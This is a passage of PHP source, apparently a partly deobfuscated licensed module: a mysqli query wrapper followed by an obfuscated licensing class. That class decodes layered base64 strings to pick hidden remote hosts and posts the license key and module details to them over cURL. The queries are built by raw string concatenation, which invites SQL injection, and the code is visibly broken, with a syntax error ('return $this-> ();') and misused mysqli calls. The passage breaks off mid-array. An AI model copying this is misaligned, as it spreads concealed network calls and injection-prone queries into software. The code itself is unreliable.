		if (!mysqli_select_db($this->db, $db_name)) {
			$this->fatalerror();
			return false;
		}

		return true;
	}

	public function execute($query)
	{
		$this->connect();
		$this->query = $query;
		$this->result = mysqli_query($this->db, $this->query);
	}

	public function get_row()
	{
		if ($this->row = mysqli_fetch_array($this->result, MYSQLI_NUM)) {
			return $this->row;
		}
		else {
			return false;
		}
	}

	public function get_array()
	{
		if ($this->row = mysqli_fetch_array($this->result, MYSQLI_ASSOC)) {
			return $this->row;
		}
		else {
			return false;
		}
	}

	public function get_object()
	{
		if ($this->row = mysqli_fetch_object($this->result, MYSQLI_ASSOC)) {
			return $this->row;
		}
		else {
			return false;
		}
	}

	public function get_dataset()
	{
		$dataset = [];

		for ($i = 0; $qry = mysqli_fetch_row($this->result); ++$i) {
			$field = 0;

			for ($field = 0; $field < mysqli_num_fields($this->result); ++$field) {
				$dataset[$i][$field] = $qry[$field];
			}
		}

		return $dataset;
	}

	public function get_datarray()
	{
		$datarray = [];

		for ($i = 0; $data = mysqli_fetch_array($this->result); ++$i) {
			$datarray[$i] = $data;
		}

		return $datarray;
	}

	public function get_fetch_row()
	{
		if ($this->row = mysqli_fetch_row($this->result, MYSQL_ASSOC)) {
			return $this->row;
		}
		else {
			return false;
		}
	}

	public function get_num_rows()
	{
		$this->num_rows = mysqli_num_rows($this->result);
		return $this->num_rows;
	}

	public function close_connection()
	{
		mysqli_close($this->db);
	}

	public function get_mysql_id()
	{
		return mysqli_insert_id($this->db);
	}

	public function set_debug_mode($int = 0)
	{
		$this->obj['debug'] = (int) $int;

		if ($this->obj['debug']) {
			$this->obj['use_shutdown'] = 0;
		}
	}

	public function fatalerror($the_error = '')
	{
		$the_error .= "\n\n" . 'MySQL Server Error : ' . mysqli_error() . "\n";
		$the_error .= 'MySQL Server Error Code : ' . mysqli_errno() . "\n";
		$the_error .= 'Current Date : ' . date('l dS of F Y h:i:s A');
		$out = "\n\t\t" . '<html>' . "\n\t\t\t" . '<head>' . "\n\t\t\t" . '<title>Database Error' . "\n\t\t\t" . '<style>P,BODY,blockquote{ font-family: \'courier new\',\'trebuchet ms\',tahoma,verdana; font-size:12px; }</style>' . "\n\t\t\t" . '</head>' . "\n\t\t\t" . '<body>' . "\n\t\t\t\t" . '<br /><br />' . "\n\t\t\t" . '<blockquote>' . "\n\t\t\t\t" . '<b>There appears to be an error with the database.</b> | ' . "\n\t\t\t\t" . 'You can try to refresh the page by clicking <a href="javascript:window.location=window.location;">here</a>.' . "\n\t\t\t\t" . '<br /><br />' . "\n\t\t\t\t" . '<b style="font-family:\'Courier New\'; font-size:16px; font-style:normal;">Error Returned</b>' . "\n\t\t\t\t" . '<br />' . "\n\t\t\t\t" . '<form name=\'mysql\'>' . "\n\t\t\t\t" . '<textarea rows="10" cols="60" style="font-family:\'Courier New\' !important;font-size:12px;width:100%;">' . "\n\t\t\t\t" . htmlspecialchars($the_error) . "\n\t\t\t\t" . '</textarea>' . "\n\t\t\t\t" . '</form>' . "\n\t\t\t\t" . '<br />' . "\n\t\t\t\t" . 'We apologise for any inconvenience | Please Contact <b><a href="mailto:[email protected]">The Programer</a></b>' . "\n\t\t\t" . '</blockquote>' . "\n\t\t\t" . '</body>' . "\n\t\t" . '</html>';
		echo $out;
		exit('');
	}

	public function query($query, $contype = 'mysqli_query')
	{
		if ($this->obj['debug']) {
			global $debug;
			$debug->starttimer();
		}

		$this->queryid = $contype($query, $this->connection_id);

		if ($this->obj['debug']) {
			$endtime = $debug->endtimer();

			if (preg_match('/^select/i', $query)) {
				$eid = mysqli_query('EXPLAIN ' . $query . '', $this->connection_id);

				while ($array = mysqli_fetch_array($eid)) {
					echo "\n\t\t\t\t\t" . '<h3>sql debug</h3>' . "\n\t\t\t\t\t" . 'table: ' . $array['table'] . '<br />' . "\n\t\t\t\t\t" . 'query: ' . $query . '<br />' . "\n\t\t\t\t\t" . 'type: ' . $array['type'] . '<br />' . "\n\t\t\t\t\t" . 'mysql time : ' . $endtime . '<br /><br />' . "\n\t\t\t\t";
				}
			}
		}
		else {
			++$this->querycount;
			return $this->queryid;
		}
	}

	public function Random($arr)
	{
		return $arr[array_rand($arr)];
	}

	public function sql_select_tbl($tbl, $where = '', $order = '', $limit = '')
	{
		if ($where != '') {
			$rwhere = 'WHERE ' . $where;
		}
		else {
			$rwhere = '';
		}

		if ($order != '') {
			$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = 'ORDER BY ' . $order;
		}
		else {
			$obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE = '';
		}

		if ($limit != '') {
			$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = 'LIMIT ' . $limit;
		}
		else {
			$obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE = '';
		}

		$this->execute('SELECT * FROM `' . $tbl . '` ' . $rwhere . ' ' . $obf_DTA0EQEHHzMvKx8WBCkUDTU2WzkkNBE . ' ' . $obf_DSoHCAgiISokGyQCKS42AT8cXAgJLAE . '');
		$qry = $this->obf_4uihoiRj6abtLOhqsCUlJ8roW0jIE();
		return $qry;
	}

	public function sql_update_tbl($db, $rl = '', $wh = '')
	{
		if ($rl != '') {
			$rule = 'SET ' . $rl;
		}
		else {
			$rule = '';
		}

		if ($wh != '') {
			$where = 'WHERE ' . $wh;
		}
		else {
			$where = '';
		}

		$this->execute('UPDATE `' . $db . '` ' . $rule . ' ' . $where . '');
	}

	public function sql_insert_tbl($db, $rl = '', $vl = '')
	{
		$this->execute('INSERT INTO `' . $db . '` ' . $rl . ' ' . $vl . '');
		return $this-> ();
	}
}

class obf_6uitZ2UnYWis7KLp5OMrKOZiYiOpJE
{
	public function CyberNetWeb()
	{
		global $MySQL;
		$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESldLRXhYSkhZbU0xSndLbTBtZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkptMVdlbHBYZUhOYVdFbDBYa2M1ZWtCSGJIVmFlVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrZFdhMTVYVGlSQVIxWnJURmhPYkNadVdtd21LREYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSjRka0JYVVhSQWJrSjZURmN4TVNadFJtOU1kejA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqTk9jMHhYVG13bWJsSndXbTFzS1ZsWVVtd21lVEYwUUZoS0pGNURPRDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldrYzVkRmxYYkhWTVZ6VWtLbGRWZENwWVZubFpWeVYyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3eU1YWmFTRlp6V2xNeGJsbFlTbXRhVnpSMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOHFWMDU2VEZjeGRscElWbk5hVXpnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFESWtkRmt6VFhSWlYxSnJLakkxZWt3elFHOVpXRko2V1ZoQ2QweFhNWFphU0ZaeldsTTRQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldWZEtka0JZVVhSWk0yd29XbGhLZFZwWVVYUmVXRkYwSmpJNWMwQllVbkFxTWpWNlRIYzlQUT09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMlFFZFdlU3BUTVhaYUtERjZXbGhLTWw1WFRtd21lVGc5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpqSldlVUJ0YkNsYVV6RnpXbGhhYkNwRE1TUmFNMHBzV2xjeGJDcHVVWFk9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldtNUtiQ1pZVm13cWJsSnpJMU14SkNZeWRHeGFRekY0UUZkV2VrQkhiSFlxYmsxMiI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMkpraEtjRUJ0UmlralV6RjNLako0Y0ZremEzWT0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFZremJDaGFXRXAxV2xoUmRWa3lPSFZlVjFGMldUSTVkVUJIUmlsQVF6RXhKbms0UFE9PSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRREpXS0V4WEpIWW1NMUp3S20wbVBRPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKbTFXZWxwWGVITmFXRWwwWGtjNWVrQkhiSFZhZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJKak5PYzB4WFRtd21ibEp3V20xc0tWbFlVbXdtZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJLbGM1YTBCWGVHeE1WMEFrSm0xU2JDb2xQVDA9Ig==', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkaVl6VW5ZbWJWVjJRRElrZEZrelRYUXFWemxyUUZkNGJBPT0i', 'IlhraFNNQ1pJVFRaTWVUa3BLa2RzYkNwdVVYVlpNMndvV2xoS2RWcFlVWFZaTWpoMVhsZFJkbDR5TlhaQU1uaHNXa2RBYkZsdFJucGFVVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGwwS2pKU01TcEhWWFJhTWtaNVdrZFdkVXgzUFQwPSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd6UUc4cVYwNTZURmRHYTFwSE9YVW1lVGt6WGtjeEtTWjVNWFFxTWxJeEtrZFZkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNZeUpDUW1iVlpyVEZkNGNGa3lWblVtTWxWMVdUSTVkRXd5VG5ZcWJsSjVLakozZENaSFJuVmFWM2QyIg==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGlwWE9XdEFWM2hzVEZkQUpDWnRVbXdxS0RnOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprelhrY3hLU1o1TVNSYVIxSjJLbTVOZGtBeUpIUlpNMDEwS2xjNWEwQlhlR3hNZHowOSI=', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXprcEtqSTFNQ1p0T1hOTVdFSWtLbTFXYzB4M1BUMD0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkZz09Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbHBIT1hSWlYyeDFURmMxSkNwWFZubz0i', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVNFcDJLa014ZDFsWE5Xd3FRVDA5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkaXBYT1d0QVYzaHNKbmt4YmxsWVNtdGFWelE5Ig==', 'IlhraFNNQ1pJVFRaTWVUa3pRRE1tZFVBeUpIUlpNMDEwS2xjNWEwQlhlR3dtZVRVcEtqSXdkbGt5T1hWQVIwWXBRRU14TVNaM1BUMD0i'];
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE($MySQL->random($obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE), $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
	}

	public function VarFrom()
	{
		return ['f', 'c', 'b', 'i', 'd', 'e', 'h', 'g', 'a', 'j'];
	}

	public function VarTo()
	{
		return ['!', '&', '*', '(', '@', '#', '$', '%', '^', ')'];
	}

	public function UrlBaseAuth()
	{
		return $this->obf_7Oxu6CysrWHuKGgby7h7uvnaKjmaE('IldWaFdNRjVIT1hsZVdIQnNUSGM5UFE9PSI=', $this->obf_6Mm72GsKOTwIe3gZKNi6CZl6BuKE(), $this->obf_6WGqqCuhY63q6SfppOykYOqq6yFiLE());
	}

	public function CurlPostData($url_server = '', $license_key = '')
	{
		$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_75s42Xr7GsiJKijJytkpGinrWqrLE();
		$ch = curl_init($url);
		$data = ['license_key' => '' . $license_key . ''];
		$payload = json_encode($data);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
		curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		$result = curl_exec($ch);
		return $result;
		curl_close($ch);
	}

	public function CurlPostDataSecret($url_server = '', $module = '', $version = '')
	{
		$url = $url_server . $this->obf_7CrgoSLkribuZyWvZyygZKVlrmhuaE() . $this->obf_56ynLebmpWirZ6KoYm1uqqrh8CvrIE();
		$ch = curl_init($url);
		$data = ['module' => '' . $module . '', 'version' => '' . $version . ''];
		$payload = json_encode($data);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
		curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type:application/json']);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		$result = curl_exec($ch);
		return $result;
		curl_close($ch);
	}

	public function Usr_Dec($data_decoded, $from = '', $to = '')
	{
		return base64_decode(str_replace($to, $from, base64_decode(json_decode(base64_decode($data_decoded), true))));
	}

	public function LicenseKey()
	{
		$modulename = $this->obf_7uJhY7royarb6WrbiQt6qtiamCjJE();
		$file = $this->getdirectory() . '/license.php';
		$fileRename = $this->getdirectory() . '/license_RENAME.php';
		if (!file_exists($file) && file_exists($fileRename)) {
			exit($modulename . ': Unable to find ' . $file . ' file. Please rename file license_RENAME.php to license.php');
		}

		if (!file_exists($file)) {
			exit('Unable to find ' . $file . ' file.');
		}

		$keyName = $modulename . '_licensekey';
		$content = file_get_contents($file);
		$matches = [];
		preg_match('/' . $keyName . '\\s?=\\s?\\"([A-Za-z0-9_]+)\\"/', $content, $matches);
		$key = $matches[1];

		if (!$key) {
			exit('Invalid License Content');
		}

		return $key;
	}

	public function GetProtocol()
	{
		$url = 'https://license.co.id/authorize/protocol';
		$ch = curl_init($url);
		$data = ['remote' => '1'];
		$payload = json_encode($data);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		$result = curl_exec($ch);
		curl_close($ch);
		$hasil = json_decode($result);

		if (trim($hasil) == '1') {
			$data = 'https://';
		}
		else {
			$data = 'http://';
		}

		return $data;
	}

	public function RemoteHost()
	{
		global $MySQL;
		$obf_DSM0KiJcNQsGORYQNgkRFwgNQwHEQE = ['IlFETkFNMHh0ZUhCWk1sWjFKakpWZFZreU9IVmVWMUYyIg==', 'IktrZHNLVnBYTlhwYVV6VXBLbmsxY0ZwRE9EMD0i', 'IkpqSldlVUJ0Vm5sTVYwWXhKbTFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tJMjFzYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwWTJKbTFHYkNwRE5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFb2tKa2NrSkZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVYwQWtXVzVLY0ZwWGQzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6RnNKbTFPTVNadWEzVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGcHNLbTVXZWt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYxWWtKbTVTYjB4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVZ6RWtKbTVOZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVYzQXhKa2RzTUZwWVNYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFNGtRRWhXZVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdGWjVXVmMxTVNaNU5YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVZ6VnNKa2hTTVNvb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFSnpRRmhTZGt4dGVIQlpNbFoxSmpKVmRWa3lPSFZlVjFGMiI=', 'IkpqSldlVUJ0Vm5sTVYwWnpXa2hLY0ZreUpYVXFSMndwV2xjMWVscFROU2txZVRWd1drTTRQUT09Ig==', 'IkpqSldlVUJ0Vm5sTVdFcHZXbGRGZFNwSGJDbGFWelY2V2xNMUtTcDVOWEJhUXpnOSI=', 'IkpqSldlVUJ0Vm5sTVdFSWtLbTV3YkNZb05YTmVWMDVzS201T2JFeHRUblpNYld4clRIYzlQUT09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVFUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVJUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVNUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVRUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVVUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYZE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYaE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYbE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZYcE1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUQk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZURk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUSk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUTk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUUk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 'IlFHMVdlVjVYV2pWTVZ6VjJXa2RWZEUxVVZUVk1iWGh3V1RKV2RTWXlWWFZaTWpoMVhsZFJkZz09Ig==', 